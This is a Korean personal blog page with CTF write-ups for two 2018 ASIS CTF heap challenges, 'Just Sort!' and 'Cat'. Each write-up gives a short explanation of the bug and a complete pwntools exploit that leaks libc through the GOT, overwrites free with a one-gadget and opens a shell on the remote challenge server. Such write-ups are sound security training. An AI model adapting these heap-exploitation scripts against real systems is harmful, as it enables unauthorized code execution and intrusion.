HanJeouk의 개인공부 블로그

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

2018_Asis_CTF Just Sort!

CTF2018. 5. 3. 00:50

푸는 방식은 Cat과 거의 똑같다.

다른게 있다면 이 문제는 search라는 함수가 있는데 search를 분석해보면

사이즈를 어떻게 할당하던 무조건 read를 0x64만큼 받는다. 힙 오버플로우가 발생한다. 이걸 이용해서 똑같이 청크를 가리키고 있는 포인터를 조작하여 릭과 공격을 하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
#p=process("./just_sort")
p=remote('159.65.125.233',6005)
elf =ELF("./just_sort")
def insert(size,memo):
        p.sendlineafter("> ","1")
        p.sendlineafter("> ",str(size))
        print p.sendlineafter("> ",memo)
 
def edit(has,pos,memo):
        p.sendlineafter("> ","2")
        p.sendlineafter("> ",str(has))
        p.sendlineafter("> ",str(pos))
        print p.sendlineafter("> ",memo)
 
def Print():
        p.sendlineafter("> ","3")
 
def search(many,value):
        p.sendlineafter("> ","4")
        p.sendlineafter("> ",str(many))
        print p.sendafter("> ",value)
 
def delete(has,pos):
        p.sendlineafter("> ","5")
        p.sendlineafter("> ",str(has))
        print p.sendlineafter("> ",str(pos))
 
insert(16,"a"*16)
insert(16,"b"*16)
delete(1,0)
search(16,"A"*16+p64(0x80)+p64(0x21)+"A"*16+p64(0)+p64(0x21)+p64(0)+p64(elf.got["free"]))
 
Print()
print p.recvuntil("hash_id:1")
print p.recvuntil("0: \"")
free=u64(p.recv(6)+"\x00\x00")
base = free-0x844f0
one =base+0xf02a4
edit(1,0,p64(one))
delete(1,0)
 
p.interactive()
cs

다른 문제들도 풀어야겠다 ㅎ

'CTF' 카테고리의 다른 글

2018 0ctf babystack  (0) 2018.05.25
2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Cat  (0) 2018.05.03
2018 HITB-XCTF d  (0) 2018.04.15
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08

2018_Asis_CTF Cat

CTF2018. 5. 3. 00:41

메인 함수를 보자!

이렇게 되어있다!

우선 create 함수를 보면 함수가 한번 실행될 때 3번을 할당한다.

먼저 포인터 청크를 하나 만들고 name 청크 kind 청크를 만들어서 관리한다.

그 다음으로 edit 함수를 보자

create와 같이 청크 3개를 할당한다.

n을 누르면 free를 하는데 전역변수 0x6020f0을 0으로 초기화 시키지 않는다. 그렇게 되면 다음부터 edit 함수를 쓸 때는 할당하지 않고 바로 0x6020f0쪽에 값을 넣을 수 있게 된다. 그래서 그쪽에 청크를 만들고 edit을 시키면 청크 포인터를 조작할 수 있다. 

나는 그걸 이용해서 free를 puts로 덮어서 릭을 하고 다시 free를 one_shot으로 덮어서 풀었다. print 함수를 썼으면 free를 puts로 안덮고 그냥 릭할 수 있었는데 까먹었었다 ㅎㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
#p=process("./Cat")
p=remote('178.62.40.102',6000)
elf = ELF("./Cat")
 
def create(name,kind,old):
        p.sendlineafter("> ","1")
        p.sendlineafter("> ",name)
        p.sendlineafter("> ",kind)
        print p.sendlineafter("> ",str(old))
 
def modify(idx,name,kind,old,select):
        p.sendlineafter("> ","2")
        p.sendlineafter("> ",str(idx))
        p.sendlineafter("> ",name)
        p.sendlineafter("> ",kind)
        p.sendlineafter("> ",str(old))
        print p.sendlineafter("n> ",select)
 
def print1(idx):
        p.sendlineafter("> ","3")
        print p.sendlineafter("> ",str(idx))
 
def print2(idx):
        p.sendlineafter("> ","4")
 
def delete(idx):
        p.sendlineafter("> ","5")
        p.sendlineafter("> ",str(idx))
 
create("AAAA","AAAA",10)
modify(0,"BBBB","BBBB",10,"n")
create(p64(elf.got["free"]),p64(elf.got["free"]),10)
modify(0,p64(elf.plt["puts"]),"T"*16+p32(elf.got["puts"]),"1","n")
 
delete(0)
puts = u64(p.recv(6)+"\x00\x00")
base = puts-0x6f690
one = base+0xf02a4
print "puts: " + hex(puts)
print "base: " + hex(base)
modify(1,p64(one),"T"*16,10,"n")
p.sendline("cat /home/pwn/flag")
p.interactive()
 
cs




'CTF' 카테고리의 다른 글

2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Just Sort!  (0) 2018.05.03
2018 HITB-XCTF d  (0) 2018.04.15
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08
2017 Codegate Final building_owner  (0) 2018.03.29

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인